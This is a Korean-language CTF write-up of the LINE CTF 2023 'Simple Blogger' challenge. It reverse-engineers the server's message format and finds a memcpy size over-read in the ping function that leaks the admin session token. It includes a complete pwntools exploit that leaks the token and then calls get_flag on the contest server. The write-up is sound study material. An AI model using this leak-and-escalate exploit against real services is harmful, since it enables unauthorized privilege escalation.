LINE CTF 2023 - Simple Blogger (memcpy, +tmi)

This is my Admin simple blogger. Please take a look and tell me if there are components need to be improved.
./client_nix 34.146.54.86 10007

  • [25 solves / 186 points]

약속 있어서 대회 때는 참여 못하고 대회 끝나고 풀이해보았다. 정말 열심히 분석한 것에 비해 플래그는 생각보다 쉽게 얻을 수 있었다.

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
.
|
├── agent
│   ├── admin_janitor.py
│   ├── cron
│   ├── Dockerfile
│   └── entrypoint.sh
├── client
│   └── client_nix
├── docker-compose.yml
├── init.sql
├── server
│   ├── Dockerfile
│   ├── flag
│   ├── nsjail
│   ├── nsjail.cfg
│   ├── server_nix
│   └── simple_blogger.db
├── simple_blogger.db
├── start_server.sh
└── stop_server.sh

일단 문제에서 주어진 파일들을 살펴보자. 서버와 클라이언트가 존재한다. flag는 서버 측에 있는 것으로 보아.. 서버의 취약점을 이용해서 flag를 읽어오거나 쉘을 획득하는 문제일 것이라 생각했다. agent 폴더를 조금 더 빨리 봤으면 코드를 조금 더 빨리 작성할 수 있었을 텐데.. =ㅅ=

server_nix 을 분석해보자. 먼저 main 이다.


먼저 read 함수로 buf에 입력을 받고 sub_4014D2 함수에 input 변수와 함께 인자로 들어간다. 저 함수의 역할은 입력받은 buf 변수에서 input 변수로 내용을 복사한다. 그리고 switch 문으로 6가지의 기능을 실행시킬 수 있는데 get_flag 함수가 눈에 띈다. 최종적으로 저 함수를 실행시켜야할 것 같은데 입력값을 어떻게 주면 좋을지 sub_4014D2 함수를 분석했다.


memcpy 등으로 input 변수에다 여러 데이터들을 복사하는 것을 알 수 있고, 구조체의 구조는 parsing_header 함수를 먼저 분석해서 알 수 있었다.


위 함수에서 version, operation, length 오프셋을 알 수 있고 sub_4014D2 함수에서 토큰을 복사하는 과정에서 2번째 오프셋부터 16바이트가 토큰 값이라는 것을 알 수 있었다. 그리고 코드를 더 분석하다보니 length 뒤에는 데이터의 길이가 온다. 아참, length 길이 제한이 있는 것도 기억하자.

참고로 ((*(buf + 18) << 8) | *(buf + 19))은 빅엔디안으로 수를 표현한 것이다.

1
2
3
4
5
6
7
msg = p64(0x4142434445464748)

payload = p8(1) # version # 0
payload += p8(4) # operation 1~6 # 1
payload += p64(0) + p64(0) # 16바이트 token # 2
payload += p16(len(msg), endian='big') # 18
payload += msg

이런식으로 operation과 msg 값을 바꿔주면서 내가 원하는 기능을 실행시킬 수 있다. 분석하면서 내가 정리한 구조체는 아래와 같다. 참고로 구조체는 한 번에 정리할 수 있는 것이 아니라 다른 함수들도 보면서 정리할 수 있다.

1
2
3
4
5
6
7
8
9
struct InputMessage
{
uint8_t version;
uint8_t operation;
uint8_t token[16];
uint8_t size[2];
uint64_t data_size;
uint8_t data[1024];
};

이제 get_flag 함수를 보고 flag를 실행시켜야할 조건 같은 것이 있는지 살펴보자.


check_auth(token_input)이 1이면 flag를 출력해주는데 이는 priv가 1인 경우, 즉 admin인 경우를 의미한다. 참고로 해당 함수에서 priv를 가져오는 것은 database에서 쿼리를 날려서 가져오는데 아래와 같이 생겼다.

1
SELECT priv FROM sess WHERE token = ?

한편, admin의 priv가 1이다? 이것은 어디서 세팅될까. login 기능에서 super_admin이면 priv가 0, admin이면 priv가 1, 일반 계정이면 priv를 2로 세팅해주는 함수가 존재한다. 또한 토큰 값을 생성해주고 출력까지 해준다. 만약 admin으로 로그인에 성공하면 자연스럽게 토큰 값을 릭해서 get_flag 함수를 실행시키면 되지 않을까? 라고 생각했다.

1
INSERT INTO sess(token, priv) VALUES(?, ?)

이쯤되어서 문제에서 제공된 init.sql을 살펴보자.

1
2
3
4
5
6
7
8
9
10
CREATE TABLE blog(id INTEGER PRIMARY KEY AUTOINCREMENT, name VARCHAR(20), message VARCHAR(500));
INSERT INTO blog(name, message) VALUES('Super Admin', '<script>alert("XSS")</script>');

CREATE TABLE account(id INTEGER PRIMARY KEY AUTOINCREMENT, name VARCHAR(20), user VARCHAR(20), pass VARCHAR(20));
INSERT INTO account(name, user, pass) VALUES('super_admin', 'super_admin', HEX(RANDOMBLOB(16)));
INSERT INTO account(name, user, pass) VALUES('admin', 'admin', HEX(RANDOMBLOB(16)));
INSERT INTO account(name, user, pass) VALUES('guest', 'guest', 'guest');

CREATE TABLE sess(token BLOB, priv INT);
INSERT INTO sess(token, priv) VALUES(RANDOMBLOB(16), 1);

아쉽게도 우리는 guest밖에 로그인을 하지 못한다. HEX(RANDOMBLOB(16)은 init.sql이 실행될 때 랜덤한 값으로 전부 다 다르게 들어간다. 그래서 앞에서 한 가설은 사용하지 못했다. guest밖에 로그인을 하지 못한다는 사실을 인지하고 read_msgwrite_msg 기능을 살펴봤는데 본격적인 구현에 앞서 토큰 값과 priv를 확인한다. 즉, 해당 기능을 이용할 수 있는지 권한을 확인하고 있었다. admin이어야 두 기능을 이용할 수 있다.. 그래서 두 기능은 볼 필요가 없었다.

자 마지막으로 ping 기능..만 남았다.


1
SELECT token FROM sess WHERE rowid == 1

위 쿼리로 token을 하나 읽어와서 지역 변수에 저장한다. 그리고 취약점은 바로 아래에서 발생한다.

1
2
3
*(ptr + 1) = size;
memcpy(ptr + 0x10, dest, *(ptr + 1)); // bof
print_argu(ptr);

size 값은 우리의 input이기 때문에 overflow가 발생할 가능성이 있다. overflow가 발생하면 dest 뒤에 있는 것도 출력할 수 있다. 마침 dest 뒤에 있는 건 아래와 같이 admin_token이다! 바로 익스 코드를 작성하러 가자.

1
2
char dest[4]; // [rsp+20h] [rbp-40h] BYREF
__int64 admin_token; // [rsp+24h] [rbp-3Ch] BYREF

Solve

  1. ping 기능을 이용해 admin_token leak
  2. admin_token을 가지고 get_flag 실행!

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
import struct, os, binascii, time

context.arch = 'amd64'
context.log_level = 'DEBUG'

# p = process('./server/server_nix')
p = remote('34.146.54.86', 10007)

# 1. ping
msg = b'PING'

payload = p8(1) # version # 0
payload += p8(1) # operation 1~6 # 1
payload += p64(0) + p64(0) # 16바이트 token# 2
payload += p16(0x400, endian='big') # 18
# payload += p8(0) # 18
# payload += p8(len(msg)+200) # 19 -> length = 8
payload += msg

# pause()
p.send(payload)

p.recvuntil('PONG')
token = p.recv(16)
info(repr(token))

# 2. get flag

msg = b'a'

payload = p8(1) # version # 0
payload += p8(6) # operation 1~6 # 1
payload += token # 16바이트 token# 2
payload += p16(len(msg), endian='big') # 18
payload += msg

pause()
p.send(payload)

p.interactive()

tmi

처음에 agent 폴더를 확인했으면 문제 풀이가 더 빨랐을 것이라 판단된다. agent 폴더에서는 cron을 이용해서 매분마다 admin으로 로그인해서 database 내용을 지우는 역할을 한다. 참고로 이 기능은 ping 함수에 있다. 아무튼 저런 역할을 하는데, 저걸 수행하기 위해 파이썬 스크립트가 하나 들어있었다.

1
2
3
4
5
6
7
8
9
def auth():
payload = b'\x01\x02'
payload += b'\x41'*16
cred = '{0}:{1}'.format(ADMIN_USER, ADMIN_PASS)
cred_len = len(cred)
payload += struct.pack('>H', cred_len)
payload += cred.encode('utf-8')
print(payload)
return payload

일부분만 가져왔는데, 이걸 빨리 봤으면 구조체를 더 쉽고 빠르게 분석해서 서버의 기능을 조금 더 빨리 트리거할 수 있지 않았을까 라는 생각이 든다. 하지만 덕분에 분석에 대한 자신감을 얻었으니.. 나쁜건 없다고 생각된다.

그리고 이 cron으로 처음에 익스 방향을 헷갈렸는데, 저 파이썬 스크립트를 실행하면 메모리에 admin의 password가 남아서 ping 함수를 통해 leak할 수 있었다. (물론 로컬에서만.. 도커도 아니고..) 로컬에서만 가능했던 이유는 .. 저 파이썬 스크립트를 익스 코드에 포함시켜 cron하는 것처럼 해줬다. 이렇게 하면 큰일난다. ㅎ 애초에 말도 안되는 생각이니 이해하려고 하지 말자.

아 그리고 일주일 전에 대회 서버로 문제를 풀 때 guest로도 로그인이 안되는 이슈가 있었다. 대회 중에는 문제 푸는데 지장이 없다고 공지하였다고 한다. 대회 때 풀이하려고 했으면.. ping 함수만 열심히 봤겠지..? 아무튼 이번 기회를 통해 ctf 기간에 열심히 참여해야할 이유를 느꼈다. 기간 내에 풀었으면 더 기분 좋았을 것 같다. 사실 끝나고 풀어도 기분좋긴 하다.

이 문제를 풀고 그 다음 문제도 열어봤는데 사실 아직까지 익스 코드를 스스로 작성하지 못하였다. 요즘 다른거에 빠져서.. 아무튼 comming soon..